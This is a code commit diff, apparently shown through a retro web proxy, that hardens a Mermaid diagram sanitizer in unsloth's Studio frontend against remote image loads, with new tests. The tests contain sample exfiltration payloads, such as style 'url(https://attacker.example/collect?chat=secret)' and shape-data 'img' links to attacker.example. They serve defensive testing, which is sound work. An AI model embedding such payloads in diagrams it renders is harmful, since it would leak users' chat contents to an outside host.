GV

GeezerVison

The World Wide Web, restored to 800 pixels of glory.

Home|About|Gaming cabinet|Archives|How it works|Starter sites

On this site

  • Sign in
  • ActionsCI/CD and automation
  • CodespacesCloud development environments
  • All Features
  • Documentation
  • Training
  • Certifications
  • Build with Copilot
  • Customize Copilot
  • Integrations
  • Trending repos
  • GitHub Sponsors
  • Developer articles
  • Enterprises

This view

  • Original page
  • New address

GeezerVison is showing github.com — Studio mermaid guard: a quoted @{ cannot hide a later remote image (#… · stanley-fork/unsloth@ca59a0d

File tree

Expand file treeCollapse file tree
Open diff view settings
Filter options
  • studio/frontend
    • src/components/assistant-ui
      • mermaid-guard.ts
    • tests
      • mermaid-remote-images.test.ts
Expand file treeCollapse file tree
Open diff view settings
Collapse file

‎studio/frontend/src/components/assistant-ui/mermaid-guard.ts‎

Copy file name to clipboardExpand all lines: studio/frontend/src/components/assistant-ui/mermaid-guard.ts
+79-26Lines changed: 79 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -53,27 +53,89 @@ function isRecord(value: unknown): value is Record<string, unknown> {
5353
return typeof value === "object" && value !== null && !Array.isArray(value);
5454
}
5555

56-
/** The `id@{ ... }` shape data blocks, as mermaid's lexer ends them: at the first `}` outside a "string". */
56+
/**
57+
* Every `@{` with its block up to the first `}` outside a "string", read on its own: lexer state decides
58+
* whether a `@{` is shape data or text, so blocks may overlap. Blocks without `img` or `\` are skipped.
59+
*/
5760
function shapeDataBlocks(source: string): { start: number; end: number; body: string }[] {
5861
const blocks: { start: number; end: number; body: string }[] = [];
59-
let from = 0;
60-
for (;;) {
61-
const open = source.indexOf("@{", from);
62-
if (open < 0) return blocks;
63-
let inString = false;
64-
let close = -1;
65-
for (let index = open + 2; index < source.length; index++) {
66-
const char = source[index];
67-
if (char === '"') inString = !inString;
68-
else if (char === "}" && !inString) {
69-
close = index;
70-
break;
62+
if (!source.includes("@{")) return blocks;
63+
// First `}` outside a string from i, starting outside (closeFrom) or inside (quotedFrom) one: linear.
64+
const closeFrom = new Int32Array(source.length + 1).fill(-1);
65+
const quotedFrom = new Int32Array(source.length + 1).fill(-1);
66+
for (let index = source.length - 1; index >= 0; index--) {
67+
const char = source[index];
68+
if (char === '"') {
69+
closeFrom[index] = quotedFrom[index + 1];
70+
quotedFrom[index] = closeFrom[index + 1];
71+
} else {
72+
closeFrom[index] = char === "}" ? index : closeFrom[index + 1];
73+
quotedFrom[index] = quotedFrom[index + 1];
74+
}
75+
}
76+
const hintEnd = new Int32Array(source.length + 1).fill(-1);
77+
for (let index = source.length - 1; index >= 0; index--) {
78+
if (source[index] === "\\") hintEnd[index] = index + 1;
79+
else if (source.slice(index, index + 3).toLowerCase() === "img") hintEnd[index] = index + 3;
80+
else hintEnd[index] = hintEnd[index + 1];
81+
}
82+
for (let open = source.indexOf("@{"); open >= 0; open = source.indexOf("@{", open + 2)) {
83+
const close = closeFrom[open + 2];
84+
const hint = hintEnd[open + 2];
85+
if (close >= 0 && hint >= 0 && hint <= close) {
86+
blocks.push({ start: open, end: close + 1, body: source.slice(open + 2, close) });
87+
}
88+
}
89+
return blocks;
90+
}
91+
92+
// Mermaid's own entity for `@`: it shows as `@` in text and never opens shape data.
93+
const INERT_OPENER = "#64;{";
94+
95+
// Overlapping blocks can sum to the source's square; past this every `@{` is made inert unparsed.
96+
const PARSE_BUDGET = 1 << 20;
97+
98+
/**
99+
* Remote images taken out of every block: a lone block is rewritten, a run of overlapping ones has all
100+
* its openers made inert (which reading wins depends on lexer state). Repeats until stable.
101+
*/
102+
function withoutRemoteShapeImages(source: string): string {
103+
let current = source;
104+
let budget = PARSE_BUDGET;
105+
for (let pass = 0; pass < 8; pass++) {
106+
// Comments are blanked to the same length, so a `@{` or `"` in one cannot hide a later block.
107+
const scanned = current.replace(COMMENT_LINE, (line) => " ".repeat(line.length));
108+
const fetching: { start: number; end: number; replaced: string }[] = [];
109+
for (const block of shapeDataBlocks(scanned)) {
110+
budget -= block.body.length;
111+
if (budget < 0) return current.replaceAll("@{", INERT_OPENER);
112+
const replaced = withoutRemoteImage(block.body);
113+
if (replaced !== null) fetching.push({ start: block.start, end: block.end, replaced });
114+
}
115+
if (fetching.length === 0) return current;
116+
let out = "";
117+
let at = 0;
118+
for (let first = 0; first < fetching.length; ) {
119+
let last = first;
120+
let runEnd = fetching[first].end;
121+
while (last + 1 < fetching.length && fetching[last + 1].start < runEnd) {
122+
last++;
123+
runEnd = Math.max(runEnd, fetching[last].end);
71124
}
125+
if (last === first) {
126+
out += current.slice(at, fetching[first].start) + fetching[first].replaced;
127+
at = fetching[first].end;
128+
} else {
129+
for (let index = first; index <= last; index++) {
130+
out += current.slice(at, fetching[index].start) + INERT_OPENER;
131+
at = fetching[index].start + 2;
132+
}
133+
}
134+
first = last + 1;
72135
}
73-
if (close < 0) return blocks;
74-
blocks.push({ start: open, end: close + 1, body: source.slice(open + 2, close) });
75-
from = close + 1;
136+
current = out + current.slice(at);
76137
}
138+
return current.replaceAll("@{", INERT_OPENER);
77139
}
78140

79141
/** A shape data block without a remote `img`, or null when it carries none and stays as written. */
@@ -132,17 +194,8 @@ function withoutFetchingStyle(line: string, midLine: boolean): string {
132194

133195
/** The diagram source with every image or style that would load from elsewhere taken out. */
134196
export function stripRemoteDiagramImages(source: string): string {
135-
let out = "";
136-
let at = 0;
137-
// Comments are blanked to the same length, so a `@{` or `"` in one cannot hide a later block.
197+
let out = withoutRemoteShapeImages(source);
138198
const scanned = source.replace(COMMENT_LINE, (line) => " ".repeat(line.length));
139-
for (const block of shapeDataBlocks(scanned)) {
140-
const replaced = withoutRemoteImage(block.body);
141-
if (replaced === null) continue;
142-
out += source.slice(at, block.start) + replaced;
143-
at = block.end;
144-
}
145-
out += source.slice(at);
146199
if (SEQUENCE.test(scanned)) out = out.replace(DETAILS_LINE, "");
147200
// Mermaid reads the diagram type after dropping directives: `%%{init}%%stateDiagram` counts.
148201
const midLine = MIDLINE_STYLE.test(scanned.replace(DIRECTIVE, ""));
Collapse file

‎studio/frontend/tests/mermaid-remote-images.test.ts‎

Copy file name to clipboardExpand all lines: studio/frontend/tests/mermaid-remote-images.test.ts
+56Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -76,6 +76,55 @@ test("the remote image key is dropped and the rest of the node kept", () => {
7676
);
7777
});
7878

79+
test("a `@{` or `}` inside a quoted label does not hide a later shape data block", () => {
80+
const img = 'img: "https://attacker.example/label", w: 10, h: 10';
81+
for (const [source, kept] of [
82+
[`flowchart LR\n A["@{"] --> B@{ ${img} }`, 'flowchart LR\n A["@{"] --> B@{ "w":10,"h":10 }'],
83+
[`flowchart LR\n A["x @{ y"] --> C["}"] --> B@{ ${img} }`, 'flowchart LR\n A["x @{ y"] --> C["}"] --> B@{ "w":10,"h":10 }'],
84+
// A `}` inside the real block's quoted label must not close the label's `@{`.
85+
[
86+
`flowchart LR\n A["@{"] --> B@{ label: "}", img: "https://attacker.example/x" }`,
87+
'flowchart LR\n A["@{"] --> B@{ "label":"}" }',
88+
],
89+
// Accessibility text takes the rest of its line, quotes included.
90+
[`flowchart LR\n accTitle: A " title\n B@{ ${img} }`, 'flowchart LR\n accTitle: A " title\n B@{ "w":10,"h":10 }'],
91+
]) {
92+
const out = stripRemoteDiagramImages(source);
93+
assert.equal(out, kept);
94+
assert.equal(stripRemoteDiagramImages(out), out);
95+
}
96+
});
97+
98+
test("an unterminated `@{` is text and the diagram passes through", () => {
99+
const source = "sequenceDiagram\n Alice->>Bob: show @{ img: foo";
100+
assert.equal(stripRemoteDiagramImages(source), source);
101+
});
102+
103+
test("two readings of `@{` that overlap are both made inert, keeping the text", () => {
104+
const source = "sequenceDiagram\n Alice->>Bob: x @{\n Bob->>Alice: y @{ img: https://attacker.example/z }";
105+
const out = stripRemoteDiagramImages(source);
106+
assert.equal(out, "sequenceDiagram\n Alice->>Bob: x #64;{\n Bob->>Alice: y #64;{ img: https://attacker.example/z }");
107+
assert.equal(stripRemoteDiagramImages(out), out);
108+
});
109+
110+
test("an overlap makes only its own openers inert, a separate block is still rewritten", () => {
111+
const source =
112+
'flowchart LR\n A["show @{ img: @{ img: x }"] --> B@{ img: "https://attacker.example/x", label: "B" }';
113+
const out = stripRemoteDiagramImages(source);
114+
assert.equal(out, 'flowchart LR\n A["show #64;{ img: #64;{ img: x }"] --> B@{ "label":"B" }');
115+
assert.equal(stripRemoteDiagramImages(out), out);
116+
});
117+
118+
test("many `@{` sharing one close are not each parsed to the end", () => {
119+
for (const filler of ["@{ # ", "@{ # img "]) {
120+
const source = `sequenceDiagram\nAlice->>Bob: ${filler.repeat(32000)}}\nBob->>Alice: B@{ img: https://attacker.example/x }`;
121+
const started = performance.now();
122+
const out = stripRemoteDiagramImages(source);
123+
assert.ok(performance.now() - started < 1000, `${filler}: ${performance.now() - started} ms`);
124+
assert.equal(out.includes("attacker.example") && out.includes("@{"), false);
125+
}
126+
});
127+
79128
test("a style statement after a semicolon cannot fetch either", () => {
80129
const url = "url(https://attacker.example/collect?chat=secret)";
81130
for (const [source, kept] of [
@@ -99,6 +148,13 @@ test("a style statement after a semicolon cannot fetch either", () => {
99148
}
100149
});
101150

151+
test("many unclosed `@{` markers are scanned in linear time", () => {
152+
const source = `sequenceDiagram\n Alice->>Bob: ${"@{ ".repeat(16000)}`;
153+
const started = performance.now();
154+
assert.equal(stripRemoteDiagramImages(source), source);
155+
assert.ok(performance.now() - started < 1000);
156+
});
157+
102158
test("a long line of style words is scanned in linear time", () => {
103159
const line = `flowchart LR\n A["${"style ".repeat(20000)}"] --> B; style A fill:url(https://attacker.example/x)`;
104160
const started = performance.now();

0 commit comments

Comments
0 (0)
You are visitor 01402792 — GeezerVison does not store the pages you look up.
Best viewed with Netscape Navigator 4.7 or Internet Explorer 6 at 800×600. No cookies required.